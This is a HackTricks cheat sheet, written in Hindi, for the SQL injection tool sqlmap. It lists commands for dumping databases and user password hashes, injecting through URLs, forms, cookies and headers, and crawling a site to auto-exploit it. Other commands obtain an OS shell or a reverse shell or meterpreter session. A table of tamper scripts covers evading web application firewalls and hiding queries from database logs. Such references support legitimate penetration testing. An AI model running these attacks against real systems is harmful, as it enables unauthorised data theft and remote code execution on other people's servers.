SQLMap

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SQLmap के लिए बुनियादी तर्क

सामान्य

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

जानकारी प्राप्त करें

आंतरिक

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB डेटा

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

अनुरोध को कैप्चर करें और एक req.txt फ़ाइल बनाएं

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST अनुरोध इंजेक्शन

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

हेडर और अन्य HTTP विधियों में इंजेक्शन

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

दूसरे क्रम का इंजेक्शन

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

शेल

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

SQLmap के साथ एक वेबसाइट को क्रॉल करें और ऑटो-एक्सप्लॉइट करें

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Injection को कस्टमाइज़ करना

एक उपसर्ग सेट करें

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

उपसर्ग

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Boolean इंजेक्शन खोजने में मदद

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription
apostrophemask.pyअपॉस्ट्रॉफ चरित्र को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है
apostrophenullencode.pyअपॉस्ट्रॉफ चरित्र को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है
appendnullbyte.pyपेलोड के अंत में एन्कोडेड NULL बाइट चरित्र जोड़ता है
base64encode.pyदिए गए पेलोड में सभी चरित्रों को Base64 में परिवर्तित करता है
between.pyबड़े से बड़ा ऑपरेटर ('>') को 'NOT BETWEEN 0 AND #' के साथ बदलता है
bluecoat.pySQL कथन के बाद स्पेस चरित्र को एक मान्य यादृच्छिक खाली चरित्र के साथ बदलता है। इसके बाद चरित्र = को LIKE ऑपरेटर के साथ बदलता है
chardoubleencode.pyदिए गए पेलोड में सभी चरित्रों को डबल URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)
commalesslimit.py'LIMIT M, N' जैसे उदाहरणों को 'LIMIT N OFFSET M' के साथ बदलता है
commalessmid.py'MID(A, B, C)' जैसे उदाहरणों को 'MID(A FROM B FOR C)' के साथ बदलता है
concat2concatws.py'CONCAT(A, B)' जैसे उदाहरणों को 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' के साथ बदलता है
charencode.pyदिए गए पेलोड में सभी चरित्रों को URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)
charunicodeencode.pyदिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "%u0022"
charunicodeescape.pyदिए गए पेलोड में गैर-एन्कोडेड चरित्रों को यूनिकोड-URL-एन्कोड करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)। "\u0022"
equaltolike.pyऑपरेटर समान ('=') के सभी उदाहरणों को ऑपरेटर 'LIKE' के साथ बदलता है
escapequotes.pyस्लैश के साथ उद्धरणों को एस्केप करता है (' और ")
greatest.pyबड़े से बड़ा ऑपरेटर ('>') को 'GREATEST' समकक्ष के साथ बदलता है
halfversionedmorekeywords.pyप्रत्येक कीवर्ड से पहले संस्करणित MySQL टिप्पणी जोड़ता है
ifnull2ifisnull.py'IFNULL(A, B)' जैसे उदाहरणों को 'IF(ISNULL(A), B, A)' के साथ बदलता है
modsecurityversioned.pyपूर्ण क्वेरी को संस्करणित टिप्पणी के साथ घेरता है
modsecurityzeroversioned.pyपूर्ण क्वेरी को शून्य-संस्करणित टिप्पणी के साथ घेरता है
multiplespaces.pySQL कीवर्ड के चारों ओर कई स्पेस जोड़ता है
nonrecursivereplacement.pyपूर्वनिर्धारित SQL कीवर्ड को प्रतिस्थापन के लिए उपयुक्त प्रतिनिधित्व के साथ बदलता है (जैसे .replace("SELECT", "") फ़िल्टर
percentage.pyप्रत्येक चरित्र के सामने एक प्रतिशत चिह्न ('%') जोड़ता है
overlongutf8.pyदिए गए पेलोड में सभी चरित्रों को परिवर्तित करता है (पहले से एन्कोडेड को प्रोसेस नहीं करता)
randomcase.pyप्रत्येक कीवर्ड चरित्र को यादृच्छिक केस मान के साथ बदलता है
randomcomments.pySQL कीवर्ड में यादृच्छिक टिप्पणियाँ जोड़ता है
securesphere.pyविशेष रूप से तैयार किया गया स्ट्रिंग जोड़ता है
sp_password.pyपेलोड के अंत में 'sp_password' जोड़ता है ताकि DBMS लॉग से स्वचालित रूप से छिपाया जा सके
space2comment.pyस्पेस चरित्र (' ') को टिप्पणियों के साथ बदलता है
space2dash.pyस्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n')
space2hash.pyस्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n')
space2morehash.pyस्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक यादृच्छिक स्ट्रिंग और एक नई पंक्ति ('\n')
space2mssqlblank.pyस्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है
space2mssqlhash.pyस्पेस चरित्र (' ') को एक पाउंड चरित्र ('#') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n')
space2mysqlblank.pyस्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है
space2mysqldash.pyस्पेस चरित्र (' ') को एक डैश टिप्पणी ('--') के साथ बदलता है, इसके बाद एक नई पंक्ति ('\n')
space2plus.pyस्पेस चरित्र (' ') को प्लस ('+') के साथ बदलता है
space2randomblank.pyस्पेस चरित्र (' ') को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है
symboliclogical.pyAND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्ष (&& और
unionalltounion.pyUNION ALL SELECT को UNION SELECT के साथ बदलता है
unmagicquotes.pyउद्धरण चरित्र (') को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी (काम करने के लिए)
uppercase.pyप्रत्येक कीवर्ड चरित्र को बड़े अक्षर के मान 'INSERT' के साथ बदलता है
varnish.pyएक HTTP हेडर 'X-originating-IP' जोड़ता है
versionedkeywords.pyप्रत्येक गैर-कार्य कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है
versionedmorekeywords.pyप्रत्येक कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है
xforwardedfor.pyएक नकली HTTP हेडर 'X-Forwarded-For' जोड़ता है

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें